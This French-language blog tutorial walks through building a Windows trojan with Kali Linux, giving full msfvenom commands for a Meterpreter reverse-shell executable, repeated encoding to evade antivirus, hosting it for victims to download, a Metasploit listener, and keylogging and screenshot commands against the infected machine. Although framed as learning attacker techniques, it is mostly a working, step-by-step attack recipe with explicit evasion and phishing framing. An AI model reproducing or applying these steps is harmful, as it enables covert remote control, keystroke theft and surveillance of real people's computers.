Conception d'un virus type Cheval de Troie/Trojan avec Kali Linux
Dernière mise à jour : 6 janv.
Un cheval de Troie ou Trojan en anglais est un programme qui donne l'accès à un ordinateur ou système en paraissant à première vu être inoffensif, mais est au final conçu pour nuire à sa cible.
La meilleure façon de comprendre le fonctionnement des attaquants est d'acquérir une expérience pratique de leurs techniques. C'est pourquoi nous vous proposons de concevoir un virus à l'aide du payload Meterpreter qui fournit un shell interactif à partir duquel un attaquant peut exploiter la machine cible et exécuter du code.
Partie 1 : La conception du cheval de Troie

Étape 1: Mettre à jour et mettre à niveau Kali Linux
//facultatif
Vous devriez régulièrement mettre à jour Kali Linux. Si vous ne l'avez pas mis à niveau depuis un certain temps ou si vous venez de le démarrer, c'est le bon moment pour le mettre à jour.
Ouvrez le terminal en cliquant sur la fenêtre en haut et tapez:
sudo apt-get update
Pour appliquer les mises-à-jours, tapez:
sudo apt-get upgrade
Mettre à jour vers les versions les plus récentes contribue à la sécurité et garantit que les outils fonctionnent correctement. Maintenant, nous pouvons commencer.
Étape 2: Ouvrir le logiciel d'exploitation
Nous allons utiliser Metasploit qui est un logiciel préinstallé sur toutes les machines Kali Linux qui nous permettra de créer des payloads personnalisés qui seront reliés à notre Kali à partir de l'ordinateur de la victime
MsfVenom est un générateur de payloads autonome produit par Metasploit qui combine et remplace msfpayload et msfencode.
La liste des commandes disponibles sur msfvenom s'obtient avec la commande du même nom :
msfvenom
Étape 3: Choisir le payload
Dans le contexte d'un virus ou d'un ver informatique, le payload ou charge utile en français est la partie du malware qui effectue une action malveillante.
Pour récupérer la liste des payloads disponibles, utilisez :
msfvenom -l payloads

Meterpreter utilise un shell reverse_tcp, ce qui signifie qu'il se connecte à un point d'écoute sur la machine de l'attaquant pour établir une connexion avec shell.
Il existe deux types de shells populaires: link et reverse. Un shell de liaison ouvre un nouveau service sur la machine cible, et oblige l'attaquant à s'y connecter pour démarrer une session. Un shell inversé (également appelé connect-back) oblige l'attaquant à configurer d'abord un point d'écoute auquel la machine cible peut se connecter.
Étape 4: Personnaliser le payload
Il est aussi possible d'afficher les options liées au payload choisi :
msfvenom --list-options -p windows/meterpreter/reverse_tcp

Nous voyons que LHOST est vide et c'est justement à l'adresse qui nous définirons que l'exploit enverra des informations à partir du périphérique infecté. Dans la plupart des cas, ce sera votre adresse IP.
Le port d'écoute 4444 est définit par LPORT et sera celui utilisé par Kali Linux pour recevoir la communication du cheval de Troie.
Pour trouver votre adresse IP, saisissez
ip address
Dans le terminal votre adresse IP se trouve après le mot «inet». Si vous êtes connecté à Internet via Ethernet, utilisez l'adresse IP de la carte réseau eth0; si vous êtes connecté sans fil, utilisez celle de wlan0 et enfin si vous êtes connectés à une machine VMWare elle pourrait être sous ens33.
L'adresse IP sera notre paramètre LHOST.
Étape 5: Générer le cheval de Troie
Maintenant que nous avons notre charge utile, notre adresse IP et notre numéro de port, nous avons toutes les informations dont nous avons besoin.
Pour rester organisé vous pouvez utiliser un répertoire dédié à cela, allez-y en utilisant :
cd
mkdir trojan
cd trojan
voici la syntaxe :
msfvenom -p nom_payload LHOST=votre_adresse_ip LPORT=numéro_de_port -f type_de_fichier > chemin_du_fichier
-p indique le nom du payload à utiliser
LHOST définit l'adresse IP de l'attaquant (Kali-Linux).
LPORT définit le port sur lequel l'attaquant écoutera.
-f définit le type de fichier qui doit être en .exe pour s'exécuter
> est suivi du chemin où sera stocké le fichier et doit contenir son nom (n'oubliez pas l'extension du fichier après le nom du fichier). Assurez-vous en particulier de ne pas appuyer sur Entrée avant de mettre le «> [chemin du fichier]», car cela lancerait l'exploit sur votre propre appareil.
Vous pouvez maintenant créer un fichier exécutable à partir du payload, Voici un exemple :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.81 LPORT=4444 -f exe > cheval.exe

Si vous regardez dans vos fichiers en utilisant ls, vous devriez voir votre exécutable.
ls
Étape 6: Chiffrer le cheval de Troie
Étant donné que windows/meterpreter/reverse_tcp est un exploit courant, la plus part des programmes antivirus le détecteront. Cependant, nous pouvons chiffrer le programme afin qu'un antivirus est moins de chance de le détecter. Une longue liste des encoders est incluse avec metasploit. Tapez :
msfvenom -l encoders
Une fois que vous avez choisi l'encoder souhaité (nous vous recommandons x86/shikata_ga_nai), vous pouvez le chiffrer plusieurs fois lorsque vous tapez la commande pour réaliser l'exploit. Le chiffrement du fichier plusieurs fois permet de rendre le programme moins sensible aux antivirus.
Voici la syntaxe :
msfvenom -p [payload] LHOST=[votre adresse ip] LPORT=[numéro de port] -e [encoder] -i [nombre d'applications] -f [type de fichier] > [chemin du fichier]

Étape 7: Exécuter le cheval de Troie sur une cible
Méthode 1 : Transfert par le web
Installation du serveur web sur le Kali-Linux
sudo apt install apache2
Démarrage du serveur web
sudo service apache2 start
Transfert du trojan vers le répertoire web
mv cheval.exe /var/www/html
Vous pouvez désormais télécharger le virus sur le site mis en ligne via http://votre_IP_kali/cheval.exe
Méthode 2 : Transfert par SSH
Pour transférer l'exécutable vers un autre système nous vous conseillons l'envoie par SFTP.
D'abord il faut allumer le service ssh de Kali Linux avec :
service ssh start
Vous pouvez maintenant vous connectez via un client FTP depuis l'ordinateur cible pour réaliser la partie suivante qui consistera à infiltrer un système Windows.
Partie 2 : Le contrôle du cheval de Troie
Pour la démonstration nous allons utiliser une machine virtuelle exécuté sous Windows 7.
Sur ce système il n'est pas nécessaire de désactiver la sécurité intégrée à Windows contrairement à Windows 10 où la sécurité doit être désactivé pour continuer.
Étape 1: Démarrer une session meterpreter
La msfconsole est probablement l'interface la plus populaire du Metasploit Framework (MSF). Il fournit une console centralisée «tout-en-un» qui vous permet d'accéder efficacement à pratiquement toutes les options disponibles dans MSF. MSFconsole peut sembler intimidant au début, mais une fois que vous aurez appris la syntaxe des commandes, vous apprendrez à apprécier la puissance de l'utilisation de cette interface.
Ouvrez la "msfconsole" depuis le terminal ou meterpreter depuis le menu des applications.
Vous devriez alors voir un menu ouvert qui ressemble à ceci :

Tapez :
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
Si vous avez oublié comment trouver votre adresse IP dans l'article précédent, tapez simplement ifconfig sur un nouveau terminal.
set lhost [votre adresse]
set lport 4444
Une fois que tout cela est fait, tapez «run» et la session commencera. La session continuera à attendre que le fichier cheval de Troie soit exécuté.
run
Étape 2: Attendre le hameçonnage
Vous serez sur cet écran jusqu'à ce que la cible exécute le fichier, et une fois qu'elle le fera, votre écran deviendra comme ceci:

De là, vous pouvez taper «help» pour voir une liste de commandes.
help
Étape 3: Passer à l'action
Il existe une tonne de commandes à expérimenter. Vous pouvez enregistrer le clavier de la cible, prendre des captures d'écran, prendre des photos avec la webcam et bien plus encore.
Exemple, pour prendre une capture d'écran de l'ordinateur cible, tapez :
screenshot
La fonction que tout le monde adore.. Keyscan! Pour commencer à enregistrer le clavier utilisez :
keyscan_start
Vous pouvez ensuite récupérer les entrées sur le clavier avec :
keyscan_dump
Enfin, pour arrêter l'enregistrement :
keyscan_stop
Pour quitter la session meterpreter, tapez simplement «exit».
exit
Et ce n'est que quelques-unes des nombreuses choses étonnantes que vous pouvez faire avec meterpreter et Metasploit en général.
Vous trouverez les commandes basiques sur le site d'Offensive Security :
https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/
Étape 4: Passer à l'action
A très bientôt, sur Awoui !